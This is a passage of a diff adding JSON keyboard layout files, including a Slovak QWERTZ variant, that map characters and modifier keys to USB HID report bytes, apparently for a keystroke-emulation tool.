"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"*":"02,00,2f",
|
||||||
|
"`":"02,00,30",
|
||||||
|
"^":"02,00,32",
|
||||||
|
"|":"02,00,35",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,27",
|
||||||
|
"COMMAND-CTRL":"40,00,27",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,27"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"+":"00,00,2d",
|
||||||
|
"'":"00,00,31",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"~":"02,00,20",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"`":"02,00,2e",
|
||||||
|
"^":"02,00,30",
|
||||||
|
"*":"02,00,31",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"$":"40,00,21",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"\\":"40,00,2d",
|
||||||
|
"|":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,64"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"+":"00,00,2e",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"*":"02,00,2e",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"{":"40,00,05",
|
||||||
|
"[":"40,00,09",
|
||||||
|
"]":"40,00,0a",
|
||||||
|
"}":"40,00,11",
|
||||||
|
"\\":"40,00,14",
|
||||||
|
"@":"40,00,19",
|
||||||
|
"|":"40,00,1a",
|
||||||
|
"~":"40,00,1e",
|
||||||
|
"^":"40,00,20",
|
||||||
|
"`":"40,00,24",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,24",
|
||||||
|
"COMMAND-CTRL":"40,00,24",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,24"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":" Slovak QWERTZ version made by Andrej Šimko",
|
||||||
|
"__comment":" Note that some special characters use leftCtrl+leftAlt+[key]",
|
||||||
|
"__comment":" Special Slovak characters like ľščťžýáíéúäô are not included",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"+":"00,00,1e",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"=":"00,00,2d",
|
||||||
|
";":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"1":"02,00,1e",
|
||||||
|
"2":"02,00,1f",
|
||||||
|
"3":"02,00,20",
|
||||||
|
"4":"02,00,21",
|
||||||
|
"5":"02,00,22",
|
||||||
|
"6":"02,00,23",
|
||||||
|
"7":"02,00,24",
|
||||||
|
"8":"02,00,25",
|
||||||
|
"9":"02,00,26",
|
||||||
|
"0":"02,00,27",
|
||||||
|
"\\":"05,00,14",
|
||||||
|
"%":"02,00,2d",
|
||||||
|
"/":"02,00,2f",
|
||||||
|
"(":"02,00,30",
|
||||||
|
"'":"05,00,13",
|
||||||
|
")":"02,00,31",
|
||||||
|
"\"":"02,00,33",
|
||||||
|
"!":"02,00,34",
|
||||||
|
"?":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
"|":"05,00,1a",
|
||||||
|
"#":"05,00,1b",
|
||||||
|
"&":"05,00,06",
|
||||||
|
"@":"05,00,19",
|
||||||
|
"$":"05,00,33",
|
||||||
|
"*":"05,00,38",
|
||||||
|
"{":"05,00,05",
|
||||||
|
"}":"05,00,11",
|
||||||
|
"[":"05,00,09",
|
||||||
|
"]":"05,00,0a",
|
||||||
|
"~":"05,00,1e",
|
||||||
|
"^":"05,00,20",
|
||||||
|
"<":"05,00,36",
|
||||||
|
">":"05,00,37",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"12,00,00"
|
||||||
|
}
|
|
@ -0,0 +1,173 @@
|
||||||
|
{
|
||||||
|
"__comment": "All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment": " of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Definition of these 3 bytes can be found",
|
||||||
|
"__comment": " in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment": " of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment": " - byte 1: Modifier keys",
|
||||||
|
"__comment": " - byte 2: Reserved",
|
||||||
|
"__comment": " - byte 3: Keycode 1",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Both documents can be obtained from link here",
|
||||||
|
"__comment": " http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment": " ",
|
||||||
|
"CTRL": "01,00,00",
|
||||||
|
"CONTROL": "01,00,00",
|
||||||
|
"SHIFT": "02,00,00",
|
||||||
|
"ALT": "04,00,00",
|
||||||
|
"GUI": "08,00,00",
|
||||||
|
"WINDOWS": "08,00,00",
|
||||||
|
"CTRL-ALT": "05,00,00",
|
||||||
|
"CTRL-SHIFT": "03,00,00",
|
||||||
|
"ALT-SHIFT": "06,00,00",
|
||||||
|
"__comment": "Below 5 key combinations are for Mac OSX",
|
||||||
|
"__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal",
|
||||||
|
"COMMAND": "08,00,00",
|
||||||
|
"COMMAND-CTRL": "09,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT": "0B,00,00",
|
||||||
|
"COMMAND-OPTION": "0C,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT": "0E,00,00",
|
||||||
|
"a": "00,00,04",
|
||||||
|
"A": "02,00,04",
|
||||||
|
"b": "00,00,05",
|
||||||
|
"B": "02,00,05",
|
||||||
|
"c": "00,00,06",
|
||||||
|
"C": "02,00,06",
|
||||||
|
"d": "00,00,07",
|
||||||
|
"D": "02,00,07",
|
||||||
|
"e": "00,00,08",
|
||||||
|
"E": "02,00,08",
|
||||||
|
"f": "00,00,09",
|
||||||
|
"F": "02,00,09",
|
||||||
|
"g": "00,00,0a",
|
||||||
|
"G": "02,00,0a",
|
||||||
|
"h": "00,00,0b",
|
||||||
|
"H": "02,00,0b",
|
||||||
|
"i": "00,00,34",
|
||||||
|
"I": "02,00,0c",
|
||||||
|
"j": "00,00,0d",
|
||||||
|
"J": "02,00,0d",
|
||||||
|
"k": "00,00,0e",
|
||||||
|
"K": "02,00,0e",
|
||||||
|
"l": "00,00,0f",
|
||||||
|
"L": "02,00,0f",
|
||||||
|
"m": "00,00,10",
|
||||||
|
"M": "02,00,10",
|
||||||
|
"n": "00,00,11",
|
||||||
|
"N": "02,00,11",
|
||||||
|
"o": "00,00,12",
|
||||||
|
"O": "02,00,12",
|
||||||
|
"p": "00,00,13",
|
||||||
|
"P": "02,00,13",
|
||||||
|
"q": "00,00,14",
|
||||||
|
"Q": "02,00,14",
|
||||||
|
"r": "00,00,15",
|
||||||
|
"R": "02,00,15",
|
||||||
|
"s": "00,00,16",
|
||||||
|
"S": "02,00,16",
|
||||||
|
"t": "00,00,17",
|
||||||
|
"T": "02,00,17",
|
||||||
|
"u": "00,00,18",
|
||||||
|
"U": "02,00,18",
|
||||||
|
"v": "00,00,19",
|
||||||
|
"V": "02,00,19",
|
||||||
|
"w": "00,00,1a",
|
||||||
|
"W": "02,00,1a",
|
||||||
|
"x": "00,00,1b",
|
||||||
|
"X": "02,00,1b",
|
||||||
|
"y": "00,00,1c",
|
||||||
|
"Y": "02,00,1c",
|
||||||
|
"z": "00,00,1d",
|
||||||
|
"Z": "02,00,1d",
|
||||||
|
"1": "00,00,1e",
|
||||||
|
"!": "02,00,1e",
|
||||||
|
"2": "00,00,1f",
|
||||||
|
"@": "40,00,14",
|
||||||
|
"3": "00,00,20",
|
||||||
|
"#": "40,00,20",
|
||||||
|
"4": "00,00,21",
|
||||||
|
"$": "40,00,21",
|
||||||
|
"5": "00,00,22",
|
||||||
|
"%": "02,00,22",
|
||||||
|
"6": "00,00,23",
|
||||||
|
"^": "02,00,20",
|
||||||
|
"7": "00,00,24",
|
||||||
|
"&": "02,00,23",
|
||||||
|
"8": "00,00,25",
|
||||||
|
"*": "00,00,2d",
|
||||||
|
"9": "00,00,26",
|
||||||
|
"(": "02,00,25",
|
||||||
|
"0": "00,00,27",
|
||||||
|
")": "02,00,26",
|
||||||
|
"ENTER": "00,00,28",
|
||||||
|
"ESC": "00,00,29",
|
||||||
|
"ESCAPE": "00,00,29",
|
||||||
|
"BACKSPACE": "00,00,2a",
|
||||||
|
"TAB": "00,00,2b",
|
||||||
|
"ALT-TAB": "04,00,2b",
|
||||||
|
"SPACE": "00,00,2c",
|
||||||
|
" ": "00,00,2c",
|
||||||
|
"-": "00,00,2e",
|
||||||
|
"_": "02,00,2e",
|
||||||
|
"=": "02,00,27",
|
||||||
|
"+": "02,00,21",
|
||||||
|
"[": "40,00,25",
|
||||||
|
"{": "40,00,24",
|
||||||
|
"]": "40,00,26",
|
||||||
|
"}": "40,00,27",
|
||||||
|
"\\": "40,00,2d",
|
||||||
|
"|": "40,00,2e",
|
||||||
|
";": "02,00,31",
|
||||||
|
":": "02,00,38",
|
||||||
|
"'": "02,00,1f",
|
||||||
|
"\"": "00,00,35",
|
||||||
|
"`": "40,00,31",
|
||||||
|
"~": "40,00,30",
|
||||||
|
",": "00,00,31",
|
||||||
|
"<": "40,00,35",
|
||||||
|
".": "00,00,38",
|
||||||
